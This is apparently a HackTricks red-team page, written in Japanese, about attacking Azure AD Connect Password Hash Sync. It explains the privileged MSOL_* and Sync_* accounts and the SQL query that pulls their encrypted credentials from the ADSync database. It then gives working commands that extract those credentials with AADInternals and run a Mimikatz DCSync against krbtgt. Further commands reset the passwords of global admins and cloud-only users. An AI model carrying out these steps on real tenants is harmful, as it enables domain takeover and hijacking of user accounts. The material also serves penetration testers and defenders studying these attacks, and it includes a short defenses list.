Az - PHS - Password Hash Sync

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

基本情報

ドキュメントから: Password hash synchronizationはハイブリッドアイデンティティを実現するために使用されるサインイン方法の一つです。Azure AD Connectは、オンプレミスのActive DirectoryインスタンスからクラウドベースのAzure ADインスタンスにユーザーのパスワードのハッシュのハッシュを同期します。

これは、オンプレミスのADをAzure ADと同期するために企業が使用する最も一般的な方法です。

すべてのユーザーパスワードハッシュのハッシュがオンプレミスからAzure ADに同期されます。ただし、平文のパスワード元のハッシュはAzure ADに送信されません。 さらに、組み込みのセキュリティグループ(ドメイン管理者など)はAzure ADに同期されません

ハッシュの同期2分ごとに行われます。ただし、デフォルトでは、パスワードの有効期限アカウントの有効期限はAzure ADに同期されません。したがって、オンプレミスのパスワードが期限切れ(変更されていない)になっているユーザーは、古いパスワードを使用してAzureリソースにアクセスし続けることができます。

オンプレミスのユーザーがAzureリソースにアクセスしようとすると、認証はAzure ADで行われます

PHSIdentity ProtectionやAAD Domain Servicesなどの機能に必要です。

ピボット

PHSが構成されると、いくつかの特権アカウントが自動的に作成されます:

  • MSOL_<installationID>アカウントがオンプレミスのADに自動的に作成されます。このアカウントにはDirectory Synchronization Accountsロールが付与されます(ドキュメントを参照)。これは、オンプレミスのADでレプリケーション(DCSync)権限を持っていることを意味します。

  • Sync_<name of on-prem ADConnect Server>_installationIDアカウントがAzure ADに作成されます。このアカウントは、Azure AD内の任意のユーザーのパスワードをリセットすることができます(同期されたユーザーまたはクラウドのみのユーザー)。

前述の2つの特権アカウントのパスワードは、Azure AD ConnectがインストールされているサーバーのSQLサーバーに保存されます。管理者はこれらの特権ユーザーのパスワードを平文で抽出することができます。 データベースはC:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdfにあります。

テーブルの1つから構成を抽出することが可能で、1つは暗号化されています:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

暗号化された構成DPAPIで暗号化されており、オンプレミスのAD内の**MSOL_*ユーザーのパスワードとAzureAD内のSync_***のパスワードが含まれています。したがって、これらを侵害することで、ADおよびAzureADに対して特権昇格が可能です。

これらの資格情報がどのように保存され、復号化されるかの完全な概要はこのトークで確認できます。

Azure AD connectサーバーの特定

Azure AD connectがインストールされているサーバーがドメインに参加している場合(ドキュメントで推奨されている)、次の方法で見つけることができます:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_*の悪用

Azure AD Connectを使用している場合、MSOL_*アカウントがオンプレミスのActive Directoryに存在します。これらのアカウントは、Azure AD Connectのインストール時に作成され、Azure ADとオンプレミスのActive Directory間の同期を管理します。

MSOL_*アカウントの特権

MSOL_*アカウントは、オンプレミスのActive Directory内で高い特権を持つことが多く、これにより攻撃者は以下のようなアクションを実行できます:

  • ドメイン管理者権限の取得

  • パスワードハッシュの抽出

  • 他のシステムへの横移動

MSOL_*アカウントの検出

MSOL_*アカウントを検出するには、以下のPowerShellコマンドを使用します:

Get-ADUser -Filter {Name -like "MSOL_*"}

MSOL_*アカウントの悪用方法

MSOL_*アカウントを悪用するための一般的な手法は以下の通りです:

  1. MSOL_*アカウントの資格情報を取得

  2. 取得した資格情報を使用して、オンプレミスのActive Directoryにアクセス

  3. 高い特権を持つアカウントに昇格

防御策

MSOL_*アカウントの悪用を防ぐための対策は以下の通りです:

  • MSOL_*アカウントの監視とログの分析

  • 強力なパスワードポリシーの適用

  • 定期的な資格情報の更新

  • 最小特権の原則の適用

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

You can also use adconnectdump to obtain these credentials.

Sync_*の悪用

Sync_*アカウントを侵害すると、任意のユーザー(Global Administratorsを含む)のパスワードをリセットすることが可能です。

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

クラウドユーザーのパスワードのみを変更することも可能です(予期しない場合でも)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

このユーザーのパスワードをダンプすることも可能です。

別のオプションとして、Syncユーザーが権限を持つサービスプリンシパルに特権を割り当て、そのサービスプリンシパルにアクセスすることでprivescを行う方法があります。

Seamless SSO

Seamless SSOをPHSと一緒に使用することが可能で、他の悪用に対して脆弱です。以下を確認してください:

Az - Seamless SSO

References

AWS Hackingを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCP Hackingを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated